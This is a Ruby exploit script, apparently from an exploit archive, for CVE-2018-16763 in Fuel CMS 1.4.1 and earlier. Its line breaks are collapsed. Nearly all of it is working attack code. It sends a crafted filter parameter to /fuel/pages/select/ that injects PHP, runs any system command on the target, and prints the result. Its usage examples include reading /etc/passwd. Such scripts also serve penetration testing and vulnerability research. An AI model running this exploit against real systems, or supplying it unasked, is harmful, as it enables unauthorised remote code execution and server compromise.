#!/usr/bin/env ruby# Title: Fuel CMS 1.4 - Remote Code Execution# Exploit Author: Alexandre ZANNI# Date: 2020-11-14# Vendor Homepage: https://www.getfuelcms.com/# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1# Version: <= 1.4.1# Tested on: Ubuntu 16.04# CVE : CVE-2018-16763# References: https://www.exploit-db.com/exploits/47138require 'httpclient'require 'docopt'# dirty workaround to ignore Max-Age# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932$VERBOSE = nildoc = <<~DOCOPT  Fuel CMS 1.4 - Remote Code Execution  Usage:    #{__FILE__} <url> <cmd>    #{__FILE__} -h | --help  Options:    <url>         Root URL (base path) including HTTP scheme, port and root folder    <cmd>         The system command to execute    -h, --help    Show this screen  Examples:    #{__FILE__} http://example.org id    #{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'DOCOPTdef exploit(client, root_url, cmd)  url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"  res = client.get(url)  /system(.+?)<div/mx.match(res.body).captures[0].chompendbegin  args = Docopt.docopt(doc)  clnt = HTTPClient.new  puts exploit(clnt, args['<url>'], args['<cmd>'])rescue Docopt::Exit => e  puts e.messageend

Source: 9110110202-BLW/eussi/moc.ytirucesxc

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